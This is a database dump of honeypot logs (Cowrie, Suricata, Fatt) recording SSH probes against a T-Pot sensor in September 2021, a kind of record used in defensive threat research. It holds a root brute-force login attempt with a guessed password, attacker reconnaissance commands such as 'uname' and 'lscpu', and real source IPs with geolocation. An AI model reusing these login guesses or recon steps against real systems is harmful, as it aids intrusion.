31879	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:48:07.194408+03	2021-09-20 15:00:02.738716+03	{"_id": "-QYIA3wBvYTbRNuE6EZ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "adf40b7839c1", "@version": "1", "duration": 5.479017019271851, "timestamp": "2021-09-20T11:48:07.194408Z", "@timestamp": "2021-09-20T11:48:07.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31880	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:11.732534+03	2021-09-20 15:00:02.740716+03	{"_id": "AQYIA3wBvYTbRNuE-Ecf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "788fab6685a6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:48:11.732534Z", "@timestamp": "2021-09-20T11:48:11.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31881	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:48:11.805364+03	2021-09-20 15:00:02.742716+03	{"_id": "AwYIA3wBvYTbRNuE-Ueu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 422742708708668, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34996, "dest_port": 22, "timestamp": "2021-09-20T11:48:11.805364Z", "@timestamp": "2021-09-20T11:48:11.805Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31882	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:11.733688+03	2021-09-20 15:00:02.743716+03	{"_id": "BAYIA3wBvYTbRNuE-key", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34996, "timestamp": "2021-09-20T11:48:11.733688", "@timestamp": "2021-09-20T11:48:11.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31883	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:12.371276+03	2021-09-20 15:00:02.744717+03	{"_id": "BQYIA3wBvYTbRNuE_EcI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "788fab6685a6", "@version": "1", "timestamp": "2021-09-20T11:48:12.371276Z", "@timestamp": "2021-09-20T11:48:12.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31884	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.955488+03	2021-09-20 15:00:02.746716+03	{"_id": "1QYIA3wBvYTbRNuEyUY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:58.955488Z", "@timestamp": "2021-09-20T11:47:58.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31885	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:59.202961+03	2021-09-20 15:00:02.747716+03	{"_id": "1gYIA3wBvYTbRNuEyUY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 8 seconds", "session": "6436ece08441", "@version": "1", "duration": 8.012456893920898, "timestamp": "2021-09-20T11:47:59.202961Z", "@timestamp": "2021-09-20T11:47:59.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31886	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:48:01.715736+03	2021-09-20 15:00:02.748717+03	{"_id": "3AYIA3wBvYTbRNuE0UYK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "adf40b7839c1", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:48:01.715736Z", "@timestamp": "2021-09-20T11:48:01.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31910	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.699097+03	2021-09-20 15:00:02.781716+03	{"_id": "zQYIA3wBvYTbRNuExUZP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:58.699097Z", "@timestamp": "2021-09-20T11:47:58.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31887	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:48:01.977076+03	2021-09-20 15:00:02.750717+03	{"_id": "3wYIA3wBvYTbRNuE00ad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 11854, "dest_port": 22, "timestamp": "2021-09-20T11:48:01.977076", "@timestamp": "2021-09-20T11:48:01.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31888	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:48:01.977719+03	2021-09-20 15:00:02.752716+03	{"_id": "4gYIA3wBvYTbRNuE1Eby", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "adf40b7839c1", "@version": "1", "timestamp": "2021-09-20T11:48:01.977719Z", "@timestamp": "2021-09-20T11:48:01.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31889	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.943816+03	2021-09-20 15:00:02.753717+03	{"_id": "xAYIA3wBvYTbRNuExUZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.943816Z", "@timestamp": "2021-09-20T11:47:57.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31890	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:59.161663+03	2021-09-20 15:00:02.754717+03	{"_id": "0wYIA3wBvYTbRNuEyUY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:59.161663Z", "@timestamp": "2021-09-20T11:47:59.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31891	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:59.161117+03	2021-09-20 15:00:02.756716+03	{"_id": "0gYIA3wBvYTbRNuEyUY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:59.161117Z", "@timestamp": "2021-09-20T11:47:59.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31892	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:48:01.712696+03	2021-09-20 15:00:02.757716+03	{"_id": "3QYIA3wBvYTbRNuE0UYK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:11854 (192.168.176.2:22) [session: adf40b7839c1]", "session": "adf40b7839c1", "@version": "1", "protocol": "ssh", "src_port": 11854, "dest_port": 22, "timestamp": "2021-09-20T11:48:01.712696Z", "@timestamp": "2021-09-20T11:48:01.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31893	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:48:01.976988+03	2021-09-20 15:00:02.759716+03	{"_id": "3gYIA3wBvYTbRNuE0kaa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 43918002544954, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 11854, "dest_port": 22, "timestamp": "2021-09-20T11:48:01.976988Z", "@timestamp": "2021-09-20T11:48:01.976Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31894	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:01.716942+03	2021-09-20 15:00:02.760716+03	{"_id": "4AYIA3wBvYTbRNuE00ad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 11854, "timestamp": "2021-09-20T11:48:01.716942", "@timestamp": "2021-09-20T11:48:01.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31895	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:48:03.387215+03	2021-09-20 15:00:02.761716+03	{"_id": "4wYIA3wBvYTbRNuE2Eba", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/55667] failed", "session": "adf40b7839c1", "@version": "1", "password": "55667", "username": "root", "timestamp": "2021-09-20T11:48:03.387215Z", "@timestamp": "2021-09-20T11:48:03.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31896	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:48:04.706104+03	2021-09-20 15:00:02.762717+03	{"_id": "6wYIA3wBvYTbRNuE3kZT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11101, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 812964109403704, "@version": "1", "in_iface": "enp5s0", "src_port": 56390, "dest_port": 53, "timestamp": "2021-09-20T11:48:04.706104Z", "@timestamp": "2021-09-20T11:48:04.706Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
